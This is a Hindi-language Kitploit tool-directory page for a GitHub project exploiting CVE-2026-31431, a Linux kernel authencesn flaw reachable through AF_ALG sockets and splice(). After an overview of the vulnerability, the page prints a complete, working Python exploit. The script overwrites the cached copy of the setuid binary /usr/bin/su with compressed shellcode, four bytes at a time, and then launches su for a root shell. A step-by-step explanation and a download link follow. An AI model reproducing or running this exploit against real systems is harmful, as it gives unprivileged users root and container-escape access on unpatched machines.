Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CopyFile_CVE-2026-31431 — स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2026-31431 के लिए, AF_ALG और splice के माध्यम से पेज कैश में setuid बाइनरी को दूषित करके रूट शेल प्राप्त करना। | Kitploit
उपकरण/GitHubGitHub/dgrobinson0/copyfile_cve-2026-31431
विशेषाधिकार वृद्धिशोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणबाइनरी शोषण
GitHubdgrobinson0/copyfile_cve-2026-31431

CopyFile_CVE-2026-31431

स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2026-31431 के लिए, AF_ALG और splice के माध्यम से पेज कैश में setuid बाइनरी को दूषित करके रूट शेल प्राप्त करना।

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CopyFile_CVE-2026-31431

en es


कॉपी त्रुटि (CVE-2026-31431) – स्थानीय विशेषाधिकार वृद्धि का शोषण

Linux कर्नेल के AEAD टेम्पलेट authencesn में एक तार्किक त्रुटि एक अन-विशेषाधिकार प्राप्त उपयोगकर्ता को किसी भी पठनीय फ़ाइल के पेज कैश में 4 नियंत्रित बाइट्स लिखने की अनुमति देती है।

प्रदान की गई Python स्क्रिप्ट मेमोरी में /usr/bin/su को दूषित करती है और रूट शेल उत्पन्न करती है।

भेद्यता का सामान्य अवलोकन

CVE-2026-31431 Linux कर्नेल के क्रिप्टोग्राफ़िक सबसिस्टम में एक भेद्यता है, विशेष रूप से authencesn टेम्पलेट (विस्तारित अनुक्रम संख्या के साथ AEAD) में, जो AF_ALG सॉकेट इंटरफ़ेस और splice() सिस्टम कॉल के साथ संयुक्त है।

  • मूल कारण: authencesn डिक्रिप्शन रूटीन गंतव्य स्कैटर सूची को अस्थायी स्थान के रूप में उपयोग करता है, वैध आउटपुट क्षेत्र से 4 बाइट्स आगे लिखता है। जब AF_ALG इन-सीटू AEAD ऑपरेशन करता है और splice() प्रमाणीकरण टैग के रूप में पेज कैश पेज (जैसे, setuid बाइनरी से) प्रदान करता है, तो सीमा से बाहर लिखना सीधे उस फ़ाइल की कर्नेल कैश्ड कॉपी में पहुँचता है।

  • प्रभाव: एक अन-विशेषाधिकार प्राप्त स्थानीय हमलावर किसी भी फ़ाइल में 4-बाइट संरेखित स्थान को अधिलेखित कर सकता है जिसे वह पढ़ सकता है। भ्रष्टाचार केवल पेज कैश में होता है; डिस्क पर फ़ाइल अपरिवर्तित रहती है, फ़ाइल अखंडता जाँच को दरकिनार करते हुए।

  • प्रभाव: setuid बाइनरी (जैसे, /usr/bin/su) को शेलकोड के साथ अधिलेखित करके, एक हमलावर बाइनरी को निष्पादित कर सकता है और रूट शेल प्राप्त कर सकता है। वही प्रिमिटिव विभिन्न कंटेनरों में काम करता है क्योंकि पेज कैश होस्ट के साथ साझा किया जाता है।

शोषण कोड (exploi-copyfail.py)

शोषण एक 732-बाइट Python स्क्रिप्ट है जो केवल मानक लाइब्रेरी (os, socket, zlib) का उपयोग करती है। यह 2017 से 2026 (पैच से पहले) तक के कर्नेल संस्करणों वाले किसी भी Linux वितरण पर काम करती है।

root@kitploit:~
#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i + 4])
    i += 4

g.system("su")

यह कैसे काम करता है

  • सेटअप: authencesn(hmac(sha256),cbc(aes)) से बंधा एक AF_ALG सॉकेट खोला जाता है, एक नकली कुंजी सेट की जाती है और एक अनुरोध स्वीकार किया जाता है।

  • पेलोड: शेलकोड (हेक्स ब्लॉब से डीकंप्रेस्ड) को 4-बाइट खंडों में विभाजित किया जाता है।

  • भ्रष्टाचार लूप: प्रत्येक खंड के लिए:

    • sendmsg() संबद्ध प्रमाणित डेटा (AAD) प्रदान करता है। AAD के बाइट 4 से 7 में वे 4 बाइट्स होते हैं जिन्हें लिखा जाना है।

    • splice() सॉकेट की TX स्कैटर सूची में /usr/bin/su (लक्षित setuid बाइनरी) का एक भाग डालता है। ऑफ़सेट और लंबाई इस प्रकार चुनी जाती है कि प्रमाणीकरण टैग क्षेत्र बाइनरी के .text अनुभाग के भीतर लक्ष्य पते पर स्थित हो।

    • recv() AEAD डिक्रिप्शन को ट्रिगर करता है, authencesn /usr/bin/su के पेज कैश में 4-बाइट खंड लिखता है। HMAC विफल हो जाता है, लेकिन लेखन बना रहता है।

  • निष्पादन: सभी खंड लिखे जाने के बाद, स्क्रिप्ट su निष्पादित करती है। चूँकि कैश्ड संस्करण में अब शेलकोड होता है, su रूट विशेषाधिकारों के साथ निष्पादित होता है और एक शेल खोलता है।


टूल डाउनलोड करें